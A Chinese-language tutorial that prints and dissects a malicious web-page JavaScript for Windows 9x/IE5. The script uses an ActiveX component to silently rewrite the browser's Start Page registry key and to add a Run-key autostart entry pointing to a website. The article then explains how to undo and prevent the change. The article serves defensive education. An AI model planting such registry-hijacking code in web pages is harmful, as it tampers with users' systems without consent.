许多网友纷纷指出有的网站不择手段,当用户访问过它们的网页后,不仅IE默认首 页被篡改了,而且每次开机后IE都会自动弹出访问该网站。
我们通过对下面这段JavaScript程序的解剖,希望读者能明白其究竟,并掌握修复 的方法。网站应该用丰富精彩的栏目来吸引访问者,希望通过对用户注册表的恶意篡改 来达到提高访问量的目的不仅会事得其反,更是一种不道德的行为。
本代码由子昂轩编辑制作,仅供学习研究之用。
<!-- Begin set start page brought to u by JavaHouse.126.com-->
<SCRIPT language=JavaScript>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXCompon
ent></APPLET>");
function f(){
try
{
//ActiveX初始化过程(为达到修改用户注册表所必须的准备程序)
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (documents .cookie.indexOf("Chg") == -1)
//以下是检测用户注册表并修改相应的键值
{
Shl.RegWrite ("HKCU\Software\Microsoft\
Internet Explorer\Main\Start Page", "http://JavaHouse.126.com/"
);//修改用户InternetExplorer浏览器的默认主页
Shl.RegWrite ("HKCU\Software\Microsoft\Windows\
CurrentVersion\Run\", "http://JavaHouse.126.com/");//建立默认启
动页面程序,保证用户每次启动计算机首先打开该页面
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path
=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);//实现打开页面后1秒钟内执行测试修改注册表的工作
}
init();</SCRIPT>
<!--End set start page -->
首先,我们来分析一下这句代码,程序中使用:
Shl.RegWrite ("HKCU\Software\
Microsoft\Internet Explorer\Main\Start Page",
"http://JavaHouse.126.com/");//修改用户InternetExplorer浏览器的默认主页
其实就是修改用户注册表中
HKEY_CURRENT_USERSoftwareMicrosoftInternet Explorermain文件夹下Sta
rt Page的键值,
这里面的值就是存放的IE浏览器的默认主页,如果你想改回来,把上面的相应代码改为
:
Shl.RegWrite ("HKCU\Software\Microsoft\
Internet Explorer\Main\Start Page", "about:blank");
就可以实现打开IE是空白页了;当然你也不用动注册表,直接打开IE修改Internet 选项中的主页更方便些。
再来看看上述程序最卑鄙的一句代码:
Shl.RegWrite ("HKCU\Software\Microsoft\
Windows\CurrentVersion\Run\","http://JavaHouse.126.com/");//
建立默认启动页面程序,保证用户每次启动计算机首先打开该页面
通过在注册表中
HKEY_CURRENT_USERSoftwareMicrosoftWindows
CurrentVersionRun
文件夹下建立Windows默认启动程序,当Windows启动后,我们会发现这个网页会自 动打开,但是在“开始”-“程序”-“启动”中却找不到,这是为什么呢?哦,原来 都放到Run这个文件夹下面了。怎么来修改呢?两种方法,一是查找源头,进入注册表,
删除Run下面的相应项就可以了;二是在“开始”-“运行”处输入"msconfig",把启 动下面相应的那个网站前面的"√"去掉,重新启动计算机就可以了。
避免此类恶意修改注册表的再次发生,你可以在IE的安全属性设置中禁掉ActiveX, 当然在以后的网页浏览过程中可能会造成一些正常使用ActiveX的网站无法浏览。还有一 种办法就是对于Windows98打开C:WINDOWSJAVAPackagesCVLV1NBB.ZIP,把Acti
veXComponent.class删掉;对于WindowsMe打开C:WINDOWSJAVAPackages5NZVFPF 1.ZIP,把ActiveXComponent.class删掉。放心,删除这个组件不会影响你正常浏览网页 的。
最后说说在首页使用这类代码的网站的目的,像在启动计算机直接打开网页的做法 我认为主要是针对宽带和专线上网的用户,这样只要你不修改注册表禁掉它,你的IE主 页每次进入系统都会自动被修改成那个网站;对于拨号上网的用户每次进入系统都开一 个找不到的主页,也无所谓,至少你不改注册表,直接修改IE主页属性后可以避免被那 种网站再次修改(前提是不再进那个网站),可是每次开机后都弹出个网页也真是让人 讨厌。
以上代码适用于Windows9x/Me,InternetExplorer5.X浏览器,据说对IE6.0无效( 因为它里面没有ActiveXComponent.class这个组件),但作者没有测试过。